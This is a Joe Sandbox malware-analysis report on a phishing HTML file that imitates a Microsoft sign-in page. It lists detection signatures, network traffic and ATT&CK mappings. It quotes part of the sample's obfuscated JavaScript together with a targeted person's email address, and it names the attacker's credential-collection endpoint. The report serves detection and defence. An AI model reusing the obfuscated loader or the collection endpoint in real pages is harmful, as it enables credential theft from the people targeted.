Edit tour

Windows Analysis Report
Eallentoff_401k_1484013830.html

Overview

General Information

Sample name:	Eallentoff_401k_1484013830.html
Analysis ID:	1578312
MD5:	17da56627aa591e55d1c54bf8a4cdebd
SHA1:	ca84ca9f722e8091daa539d97ccedf85aaf84934
SHA256:	84f7b6e27be755f1cddcd96cd57b132bb89aa89e1f0b1c156509995f397d7d0a
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

Detected javascript redirector / loader

HTML document with suspicious title

HTML file submission containing password form

HTML sample is only containing javascript code

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3056 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Eallentoff_401k_1484013830.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1288 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2000 --field-trial-handle=1912,i,8317850328401049871,5214571603625753551,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
2.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html#

Joe Sandbox AI: Score: 10 Reasons: HTML file with login form DOM: 2.2.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 2.2.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

Detected javascript redirector / loader

Source: Eallentoff_401k_1484013830.html

HTTP Parser: Low number of body elements: 0

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html	Tab title: Sign in to your account
Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html#	Tab title: Sign in to your account

HTML sample is only containing javascript code

Source: Eallentoff_401k_1484013830.html

HTTP Parser: <script> let rh13z8jemt = 'eallentoff@boundlessnetwork.com'; // Pastrami qui turducken nisi. venomousminded=~[];venomousminded={___:++venomousminded,$$$$:(![]+"")[venomousminded],__$:++venomousminded,$_$_:(![]+"")[venomousminded],_$_:++veno...

Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html	HTTP Parser: Number of links: 0
Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html#	HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html#	HTTP Parser: <input type="password" .../> found but no <form action="...

Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html	HTTP Parser: Title: Sign in to your account does not match URL
Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html#	HTTP Parser: Title: Sign in to your account does not match URL

Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html	HTTP Parser: Invalid link: Privacy statement
Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html#	HTTP Parser: Invalid link: Privacy statement

Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html	HTTP Parser: Has password / email / username input fields
Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html#	HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html	HTTP Parser: <input type="password" .../> found
Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html#	HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html#	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html#	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html#	HTTP Parser: No <meta name="copyright".. found

Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /attach%2Fbootstrap.min.js HTTP/1.1Host: 6032451419-1323985617.cos.na-siliconvalley.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /attach%2Fbootstrap.min.js HTTP/1.1Host: 6032451419-1323985617.cos.na-siliconvalley.myqcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: newmind.federalcourtfiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: newmind.federalcourtfiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 6032451419-1323985617.cos.na-siliconvalley.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: newmind.federalcourtfiles.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /next.php HTTP/1.1Host: newmind.federalcourtfiles.comConnection: keep-aliveContent-Length: 13sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: */*Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_108.2.dr, chromecache_107.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_97.2.dr, chromecache_110.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_102.2.dr, chromecache_105.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_102.2.dr, chromecache_97.2.dr, chromecache_105.2.dr, chromecache_110.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_102.2.dr, chromecache_97.2.dr, chromecache_105.2.dr, chromecache_110.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: classification engine

Classification label: mal72.phis.winHTML@24/33@30/12

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Eallentoff_401k_1484013830.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2000 --field-trial-handle=1912,i,8317850328401049871,5214571603625753551,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2000 --field-trial-handle=1912,i,8317850328401049871,5214571603625753551,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html

HTTP Parser: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.10.207	true	false	high
newmind.federalcourtfiles.com	172.67.139.114	true	false	unknown
code.jquery.com	151.101.194.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
cos.na-siliconvalley.myqcloud.com	170.106.97.198	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	172.217.19.228	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
6032451419-1323985617.cos.na-siliconvalley.myqcloud.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false	high
file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html	true	unknown
file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html#	true	unknown
https://code.jquery.com/jquery-3.2.1.slim.min.js	false	high
https://6032451419-1323985617.cos.na-siliconvalley.myqcloud.com/attach%2Fbootstrap.min.js	false	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false	high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false	high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false	high
https://newmind.federalcourtfiles.com/next.php	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_102.2.dr, chromecache_97.2.dr, chromecache_105.2.dr, chromecache_110.2.dr	false	high
